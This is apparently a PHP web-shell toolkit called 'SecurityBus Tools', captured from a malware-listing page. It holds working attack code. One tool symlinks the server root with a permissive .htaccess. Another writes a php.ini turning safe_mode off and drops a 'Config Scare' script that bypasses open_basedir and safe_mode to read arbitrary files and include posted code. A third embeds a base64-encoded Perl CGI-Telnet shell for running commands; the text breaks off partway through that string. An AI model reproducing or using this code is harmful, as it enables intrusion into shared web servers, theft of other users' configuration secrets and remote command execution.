Jump to:
Screenshot
Attributes
Emails
<head>
<meta name="keywords" content="Tools Headquarters Group x3">
<meta name="description" content="Tools Headquarters Group x3">
<title>SecurityBus Tools </title>
</head>
<?php
# Tool Symlink
if ($_POST[tool] == 'sym') {
$sym = "sym";
mkdir('sym');
chdir('./sym');
system('ln -s / 1.txt');
$htaccess = fopen('.htaccess', 'a+');
fwrite($htaccess, "Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html");
fclose($htaccess);
echo "<a href='./sym/1.txt'>Here Sym</a><br>";
# Tool php.ini
} elseif ($_POST[tool] == 'phpini') {
$ini = "phpini";
mkdir($ini);
$safe = fopen("./phpini/php.ini", 'a+');
$tryag = fopen("./phpini/tryag.php", 'a+');
$filetryag = 'PD9waHANCkBzZXRfdGltZV9saW1pdCgwKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQplY2hvICc8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KYm9keSB7DQoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCgljb2xvcjogI2ZmZmZmZjsNCn0NCi50aXRsZSB7DQoJZm9udC1zaXplOiAyNHB4Ow0KCWNvbG9yOiAjZmZmZmZmOw0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KfQ0KaW5wdXQsdGV4dGFyZWF7DQpjb2xvcjogIzAwRkYwMDsNCmZvbnQtd2VpZ2h0OiBib2xkOw0KZGFzaGVkICNmZmZmZmY7DQpib3JkZXI6IDFweA0Kc29saWQgIzAwRkYwMDsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDANCn0NCi0tPg0KPC9zdHlsZT4NCjx0aXRsZT5Db25maWcgU2NhcmUgdG9vbCB2LjE8L3RpdGxlPg0KPGNlbnRlcj4NCjx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIxIiBjZWxsc3BhY2luZz0iMCIgYm9yZGVyY29sb3I9IiMwMEZGMDAiPg0KICA8dHI+DQogICAgPHRkIGJnY29sb3I9IiMwMDMzMDAiPjxkaXYgY2xhc3M9dGl0bGUgYWxpZ249Y2VudGVyPjxNQVJRVUVFIGRpcmVjdGlvbj0ibGVmdCI+Q29uZmlnIFNjYXJlIHRvb2wgdi4xPC9NQVJRVUVFPjwvZGl2PjwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgPHRkPic7DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KJHN5bWwgPSBAZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJyk7DQokbXlzcWwgPSBAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7DQokaW5pcmVzID0gQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3Jlc3RvcmUnKTsNCiRjb3B5ID0gQGZ1bmN0aW9uX2V4aXN0cygnY29weScpOw0KJGN1cmwgPSBAZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2V4ZWMnKTsNCiRzYWZlbW9kID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KJGJhc2UgPSBAaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KZWNobyAnPGI+U2FmZSBtb2QgOiAnOw0KaWYoJHNhZmVtb2Qpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOw0KCQkJfQ0KCQkJZWxzZXsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPlN5bWxpbmsgOiAnOw0KCQkJaWYoJHN5bWwpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250Pic7DQoJCQl9DQoJCQllbHNlew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPkluaV9yZXN0b3JlIDogJzsNCgkJCWlmKCRpbmlyZXMpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250Pic7DQoJCQl9DQoJCQllbHNlew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPkNvcHkgOiAnOw0KCQkJaWYoJGNvcHkpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250Pic7DQoJCQl9DQoJCQllbHNlew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPkN1cmwgOiAnOw0KCQkJaWYoJGN1cmwpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250Pic7DQoJCQl9DQoJCQllbHNlew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPk9wZW4gYmFzZSBkaXIgOiAnOw0KCQkJaWYoJGJhc2Upew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOw0KCQkJfQ0KCQkJZWxzZXsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzwvYj4nOw0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCgllY2hvICc8Y2VudGVyPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/cmVhZCI+DQoJCQkgICA8aW5wdXQgbmFtZT0iZmlsZWN3ZCIgdHlwZT0idGV4dCIgdmFsdWU9IicuZ2V0Y3dkKCkuJyIgc2l6ZT0iNDAiPg0KCQkJICAgPGlucHV0IG5hbWU9ImZpbGVyZWFkIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJyZWFkIj4NCgkJCSAgIDwvZm9ybT4nOw0KCQkJICAgaWYoaXNzZXQoJF9HRVRbJ3JlYWQnXSkpew0KCQkJICAgCSRmaWxlY3dkID0gJF9QT1NUWydmaWxlY3dkJ107DQoJCQkgICAJaWYoJHN5bWwpew0KCQkJZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj5TeW1saW5rPC9kaXY+JzsNCgkJCSRzeW1sbWEgPSAkY3dkLiIvZy1iLnR4dCI7DQoJCSAgIAlAc3ltbGluaygkZmlsZWN3ZCwkc3ltbG1hKTsNCgkJICAgCWVjaG8gJzxjZW50ZXI+PGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9kZWNvZGUiPg0KCQkJPHRleHRhcmVhIGNvbHM9IjcwIiByb3dzPSIxMCIgY2xhc3M9aW5wdXQ+JzsNCgkJICAgCSRjb250ZW50c3NzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRzeW1sbWEpOw0KCQkgICAJJGNvbnRlbnRzc3MgPSBAaHRtbHNwZWNpYWxjaGFycygkY29udGVudHNzcyk7DQoJCSAgIAllY2hvICRjb250ZW50c3NzOw0KCQkgICAJZWNobyAnPC90ZXh0YXJlYT48YnIgLz4NCgkJCSAgIDxpbnB1dCBuYW1lPSJkZWNvZGUiIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImRlY29kZSI+DQoJCQkJCQkJPC9mb3JtPjwvY2VudGVyPic7DQoJCSAgIAlAdW5saW5rKCJnLWIudHh0Iik7DQoJCSAgIAllY2hvICc8YnIgLz4nOw0KCQkJfQ0KCQkJaWYoJGluaXJlcyl7DQoJCQkJZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj5JbmkgcmVzdG9yZTwvZGl2Pg0KCQkJCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/ZGVjb2RlIj4NCgkJCQk8dGV4dGFyZWEgY29scz0iNzAiIHJvd3M9IjEwIiBuYW1lPSJjb2RlIj4nOw0KCQkJCSRpbmk9JF9QT1NUWydmaWxlY3dkJ107DQoJCQkJZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCgkJCQllY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KCQkJCWluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCgkJCQlpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQoJCQkJZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCgkJCQllY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KCQkJCSRzPSBAaHRtbHNwZWNpYWxjaGFycyhAZmlsZV9nZXRfY29udGVudHMoIiRpbmkiKSk7DQoJCQkJZWNobyAkczsNCgkJCQllY2hvICc8L3RleHRhcmVhPjxiciAvPg0KCQkJCQkgIDxpbnB1dCBuYW1lPSJkZWNvZGUiIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImRlY29kZSI+DQoJCQkJCSAgPC9mb3JtPg0KCQkJCTxiciAvPic7DQoJCQl9DQoJCQlpZigkY29weSl7DQoJCQkJZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj5Db3B5PC9kaXY+JzsNCgkJCQllY2hvICc8Y2VudGVyPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/ZGVjb2RlIj4NCgkJCQk8dGV4dGFyZWEgY29scz0iNzAiIHJvd3M9IjEwIiBjbGFzcz1pbnB1dD4nOw0KCQkJCQkJCSRuZXdmaWxlID0gImctYi50eHQiOw0KCQkJCQkJCSRmaWxlciA9ICRfUE9TVFsnZmlsZWN3ZCddOw0KCQkJCQkJCUBjb3B5KCRmaWxlciwkbmV3ZmlsZSk7DQoJCQkJCQkJJHJjb3B5ID0gQGh0bWxzcGVjaWFsY2hhcnMoQGZpbGVfZ2V0X2NvbnRlbnRzKCRuZXdmaWxlKSk7DQoJCQkJCQkJZWNobyAkcmNvcHk7DQoJCQkJCQkJQHVubGluaygkbmV3ZmlsZSk7DQoJCQkJCQkJZWNobyAnPC90ZXh0YXJlYT48YnIgLz4NCgkJCQkJCQk8aW5wdXQgbmFtZT0iZGVjb2RlIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJkZWNvZGUiPg0KCQkJCQkJCTwvZm9ybT48L2NlbnRlcj4NCgkJCQkJCQk8YnIgLz4nOw0KCQkJfQ0KCQkJaWYoJGN1cmwpew0KCQkJCWVjaG8gJzxkaXYgYWxpZ249ImNlbnRlciI+Q3VybDwvZGl2Pic7DQoJCQkJZWNobyAnPGNlbnRlcj48Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iP2RlY29kZSI+DQoJCQkJPHRleHRhcmVhIGNvbHM9IjcwIiByb3dzPSIxMCIgY2xhc3M9aW5wdXQ+JzsNCgkJCQkJCQkkY3UgPSAkX1BPU1RbJ2ZpbGVjd2QnXTsNCgkJCQkJCQkkbGkgPSBAY3VybF9pbml0KCJmaWxlOi8vLyIuJGN1LiJceDAwLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLyIuJ0M6XFVzZXJzXHRlc3RcRG93bmxvYWRzXERlWmVuZF9EZUNyeVxwaHA1IEdlbmVyaWMgRGVjb2RlclxwaHA1IEdlbmVyaWMgRGVjb2RlclxwaHA1IERlY29kZXJfX0ZJTEVfXzEtZW5jb2RlZFx0cnlhZy5waHAnKTsNCgkJCQkJCQlAdmFyX2R1bXAoQGN1cmxfZXhlYygkbGkpKTsNCgkJCQkJCQllY2hvICc8L3RleHRhcmVhPjxiciAvPg0KCQkJCQkJCTxpbnB1dCBuYW1lPSJkZWNvZGUiIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImRlY29kZSI+DQoJCQkJCQkJPC9mb3JtPjwvY2VudGVyPic7DQoJCQl9DQoJCQl9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCmlmKGlzc2V0KCRfR0VUWydkZWNvZGUnXSkpew0KCSRjb2RlID0gc3RyaXBzbGFzaGVzKCRfUE9TVFsnY29kZSddKTsNCgkkb3BlbiA9IGZvcGVuKCJlbmNvZGUucGhwIiwidyIpOw0KCSR3cml0ZSA9IGZ3cml0ZSgkb3BlbiwkY29kZSk7DQoJaWYoJHdyaXRlKXsNCglpbmNsdWRlKCJlbmNvZGUucGhwIik7DQoJZWNobyAnPGNlbnRlcj48dGV4dGFyZWEgY29scz0iODAiIHJvd3M9IjIwIiBjbGFzcz1pbnB1dD4nOw0KCWVjaG8gJEdMT0JBTFNbJ09PMDBPMDBPMCddOw0KCWVjaG8gJzwvdGV4dGFyZWE+PC9jZW50ZXI+JzsNCgl9ZWxzZXsNCgkJZWNobyAnPHNjcmlwdD5hbGVydCgiRVJST1IiKTwvc2NyaXB0Pic7DQoJfQ0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KZWNobyAnPC90ZD48L3RyPg0KPHRyPg0KPHRkPjxkaXYgYWxpZ249Y2VudGVyIGNsYXNzPXRpdGxlPlNlY3VyaXR5QnVzPC9kaXY+PC90ZD4NCjwvdGFibGU+PC9jZW50ZXI+DQonOw0KDQo/Pg==';
fwrite($safe, "safe_mode = off");
fwrite($tryag, "<?php\r\n@set_time_limit(0);\r\n@error_reporting(0);\r\necho '<style type=\"text/css\">\r\n<!--\r\nbody {\r\n\tbackground-color: #000000;\r\n\tcolor: #ffffff;\r\n}\r\n.title {\r\n\tfont-size: 24px;\r\n\tcolor: #ffffff;\r\n\tfont-weight: bold;\r\n}\r\ninput,textarea{\r\ncolor: #00FF00;\r\nfont-weight: bold;\r\ndashed #ffffff;\r\nborder: 1px\r\nsolid #00FF00;\r\nbackground-color: #000000\r\n}\r\n-->\r\n</style>\r\n<title>Config Scare tool v.1</title>\r\n<center>\r\n<table width=\"600\" border=\"1\" cellpadding=\"1\" cellspacing=\"0\" bordercolor=\"#00FF00\">\r\n <tr>\r\n <td bgcolor=\"#003300\"><div class=title align=center><MARQUEE direction=\"left\">Config Scare tool v.1</MARQUEE></div></td>\r\n </tr>\r\n <tr>\r\n <td>';\r\n#===============================================================================\r\n\$syml = @function_exists('symlink');\r\n\$mysql = @function_exists('mysql_connect');\r\n\$inires = @function_exists('ini_restore');\r\n\$copy = @function_exists('copy');\r\n\$curl = @function_exists('curl_exec');\r\n\$safemod = @ini_get('safe_mode');\r\n\$base = @ini_get(\"open_basedir\");\r\n#===============================================================================\r\necho '<b>Safe mod : ';\r\nif(\$safemod){\r\n\t\t\t\techo '<font color=red>ON</font>';\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\techo '<font color=green>OFF</font>';\r\n\t\t\t}\r\n\t\t\techo '<br />Symlink : ';\r\n\t\t\tif(\$syml){\r\n\t\t\t\techo '<font color=green>ON</font>';\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\techo '<font color=red>OFF</font>';\r\n\t\t\t}\r\n\t\t\techo '<br />Ini_restore : ';\r\n\t\t\tif(\$inires){\r\n\t\t\t\techo '<font color=green>ON</font>';\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\techo '<font color=red>OFF</font>';\r\n\t\t\t}\r\n\t\t\techo '<br />Copy : ';\r\n\t\t\tif(\$copy){\r\n\t\t\t\techo '<font color=green>ON</font>';\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\techo '<font color=red>OFF</font>';\r\n\t\t\t}\r\n\t\t\techo '<br />Curl : ';\r\n\t\t\tif(\$curl){\r\n\t\t\t\techo '<font color=green>ON</font>';\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\techo '<font color=red>OFF</font>';\r\n\t\t\t}\r\n\t\t\techo '<br />Open base dir : ';\r\n\t\t\tif(\$base){\r\n\t\t\t\techo '<font color=red>ON</font>';\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\techo '<font color=green>OFF</font>';\r\n\t\t\t}\r\n\t\t\techo '</b>';\r\n#===============================================================================\r\n\techo '<center><form method=\"POST\" action=\"?read\">\r\n\t\t\t <input name=\"filecwd\" type=\"text\" value=\"'.getcwd().'\" size=\"40\">\r\n\t\t\t <input name=\"fileread\" type=\"submit\" value=\"read\">\r\n\t\t\t </form>';\r\n\t\t\t if(isset(\$_GET['read'])){\r\n\t\t\t \t\$filecwd = \$_POST['filecwd'];\r\n\t\t\t \tif(\$syml){\r\n\t\t\techo '<div align=\"center\">Symlink</div>';\r\n\t\t\t\$symlma = \$cwd.\"/g-b.txt\";\r\n\t\t \t@symlink(\$filecwd,\$symlma);\r\n\t\t \techo '<center><form method=\"POST\" action=\"?decode\">\r\n\t\t\t<textarea cols=\"70\" rows=\"10\" class=input>';\r\n\t\t \t\$contentsss = @file_get_contents(\$symlma);\r\n\t\t \t\$contentsss = @htmlspecialchars(\$contentsss);\r\n\t\t \techo \$contentsss;\r\n\t\t \techo '</textarea><br />\r\n\t\t\t <input name=\"decode\" type=\"submit\" value=\"decode\">\r\n\t\t\t\t\t\t\t</form></center>';\r\n\t\t \t@unlink(\"g-b.txt\");\r\n\t\t \techo '<br />';\r\n\t\t\t}\r\n\t\t\tif(\$inires){\r\n\t\t\t\techo '<div align=\"center\">Ini restore</div>\r\n\t\t\t\t<form method=\"POST\" action=\"?decode\">\r\n\t\t\t\t<textarea cols=\"70\" rows=\"10\" name=\"code\">';\r\n\t\t\t\t\$ini=\$_POST['filecwd'];\r\n\t\t\t\techo ini_get(\"safe_mode\");\r\n\t\t\t\techo ini_get(\"open_basedir\");\r\n\t\t\t\tini_restore(\"safe_mode\");\r\n\t\t\t\tini_restore(\"open_basedir\");\r\n\t\t\t\techo ini_get(\"safe_mode\");\r\n\t\t\t\techo ini_get(\"open_basedir\");\r\n\t\t\t\t\$s= @htmlspecialchars(@file_get_contents(\"\$ini\"));\r\n\t\t\t\techo \$s;\r\n\t\t\t\techo '</textarea><br />\r\n\t\t\t\t\t <input name=\"decode\" type=\"submit\" value=\"decode\">\r\n\t\t\t\t\t </form>\r\n\t\t\t\t<br />';\r\n\t\t\t}\r\n\t\t\tif(\$copy){\r\n\t\t\t\techo '<div align=\"center\">Copy</div>';\r\n\t\t\t\techo '<center><form method=\"POST\" action=\"?decode\">\r\n\t\t\t\t<textarea cols=\"70\" rows=\"10\" class=input>';\r\n\t\t\t\t\t\t\t\$newfile = \"g-b.txt\";\r\n\t\t\t\t\t\t\t\$filer = \$_POST['filecwd'];\r\n\t\t\t\t\t\t\t@copy(\$filer,\$newfile);\r\n\t\t\t\t\t\t\t\$rcopy = @htmlspecialchars(@file_get_contents(\$newfile));\r\n\t\t\t\t\t\t\techo \$rcopy;\r\n\t\t\t\t\t\t\t@unlink(\$newfile);\r\n\t\t\t\t\t\t\techo '</textarea><br />\r\n\t\t\t\t\t\t\t<input name=\"decode\" type=\"submit\" value=\"decode\">\r\n\t\t\t\t\t\t\t</form></center>\r\n\t\t\t\t\t\t\t<br />';\r\n\t\t\t}\r\n\t\t\tif(\$curl){\r\n\t\t\t\techo '<div align=\"center\">Curl</div>';\r\n\t\t\t\techo '<center><form method=\"POST\" action=\"?decode\">\r\n\t\t\t\t<textarea cols=\"70\" rows=\"10\" class=input>';\r\n\t\t\t\t\t\t\t\$cu = \$_POST['filecwd'];\r\n\t\t\t\t\t\t\t\$li = @curl_init(\"file:///\".\$cu.\"\\x00/../../../../../../../../../../../../\".'C:\\Users\\test\\Downloads\\DeZend_DeCry\\php5 Generic Decoder\\php5 Generic Decoder\\php5 Decoder__FILE__1-encoded\\tryag.php');\r\n\t\t\t\t\t\t\t@var_dump(@curl_exec(\$li));\r\n\t\t\t\t\t\t\techo '</textarea><br />\r\n\t\t\t\t\t\t\t<input name=\"decode\" type=\"submit\" value=\"decode\">\r\n\t\t\t\t\t\t\t</form></center>';\r\n\t\t\t}\r\n\t\t\t}\r\n#==========================================================================================================================\r\nif(isset(\$_GET['decode'])){\r\n\t\$code = stripslashes(\$_POST['code']);\r\n\t\$open = fopen(\"encode.php\",\"w\");\r\n\t\$write = fwrite(\$open,\$code);\r\n\tif(\$write){\r\n\tinclude(\"encode.php\");\r\n\techo '<center><textarea cols=\"80\" rows=\"20\" class=input>';\r\n\techo \$GLOBALS['OO00O00O0'];\r\n\techo '</textarea></center>';\r\n\t}else{\r\n\t\techo '<script>alert(\"ERROR\")</script>';\r\n\t}\r\n}\r\n#===========================================================================================================================\r\necho '</td></tr>\r\n<tr>\r\n<td><div align=center class=title>SecurityBus</div></td>\r\n</table></center>\r\n';\r\n\r\n?>");
fclose($safe);
echo "<a href='./phpini/php.ini'>Here php.ini</a><br>";
echo "<a href='./phpini/tryag.php'>Here tryag.php</a><br>";
# Tool perl.pl
} elseif ($_POST[tool] == 'perl') {
$perl = "perl";
mkdir('perl');
chdir('perl');
#$xEn = fopen('telnet2.cgi','a+');
$fileencode = 'IyEvdXNyL2Jpbi9wZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENvcHlyaWdodCBhbmQgTGljZW5jZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDR0ktVGVsbmV0IFZlcnNpb24gMS4wIGZvciBOVCBhbmQgVW5peCA6IFJ1biBDb21tYW5kcyBvbiB5b3VyIFdlYiBTZXJ2ZXINCiMNCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmENCiMgUGVybWlzc2lvbiBpcyBncmFudGVkIHRvIHVzZSwgZGlzdHJpYnV0ZSBhbmQgbW9kaWZ5IHRoaXMgc2NyaXB0IHNvIGxvbmcNCiMgYXMgdGhpcyBjb3B5cmlnaHQgbm90aWNlIGlzIGxlZnQgaW50YWN0LiBJZiB5b3UgbWFrZSBjaGFuZ2VzIHRvIHRoZSBzY3JpcHQNCiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQ0KIyBpbiB0aGlzIHNjcmlwdCwgeW91IGNhbiBlLW1haWwgbWUuDQojDQojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQ0KIyBBdXRob3IgZS1tYWlsOiByb2hpdGFiQHJvaGl0YWIuY29tDQojIEF1dGhvciBIb21lcGFnZTogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS8NCiMgU2NyaXB0IEhvbWVwYWdlOiBtYWlsdG86VU5JVFhfVEVBTUBIT1RNQUlMLkNPTQ0KIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8NCiMgRGlzY3Vzc2lvbiBGb3J1bTogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9kaXNjdXNzLw0KIyBNYWlsaW5nIExpc3Q6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vbWxpc3QvDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgSW5zdGFsbGF0aW9uDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRvIGluc3RhbGwgdGhpcyBzY3JpcHQNCiMNCiMgMS4gTW9kaWZ5IHRoZSBmaXJzdCBsaW5lICIjIS91c3IvYmluL3BlcmwiIHRvIHBvaW50IHRvIHRoZSBjb3JyZWN0IHBhdGggb24NCiMgICAgeW91ciBzZXJ2ZXIuIEZvciBtb3N0IHNlcnZlcnMsIHlvdSBtYXkgbm90IG5lZWQgdG8gbW9kaWZ5IHRoaXMuDQojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4NCiMgMy4gSWYgeW91J3JlIHJ1bm5pbmcgdGhlIHNjcmlwdCB1bmRlciBXaW5kb3dzIE5ULCBzZXQgJFdpbk5UID0gMSBpbiB0aGUNCiMgICAgQ29uZmlndXJhdGlvbiBTZWN0aW9uIGJlbG93Lg0KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8NCiMgICAgZXhlY3V0ZSBDR0kgc2NyaXB0cy4gVGhpcyBpcyB1c3VhbGx5IGNnaS1iaW4uIE1ha2Ugc3VyZSB0aGF0IHlvdSB1cGxvYWQNCiMgICAgdGhlIHNjcmlwdCBpbiBBU0NJSSBtb2RlLg0KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4NCiMgNi4gT3BlbiB0aGUgc2NyaXB0IGluIHlvdXIgd2ViIGJyb3dzZXIuIElmIHlvdSB1cGxvYWRlZCB0aGUgc2NyaXB0IGluDQojICAgIGNnaS1iaW4sIHRoaXMgc2hvdWxkIGJlIGh0dHA6Ly93d3cueW91cnNlcnZlci5jb20vY2dpLWJpbi9jZ2l0ZWxuZXQucGwNCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdlIG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdvcmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3b3JkID0gImcxdTV5IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENtZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzD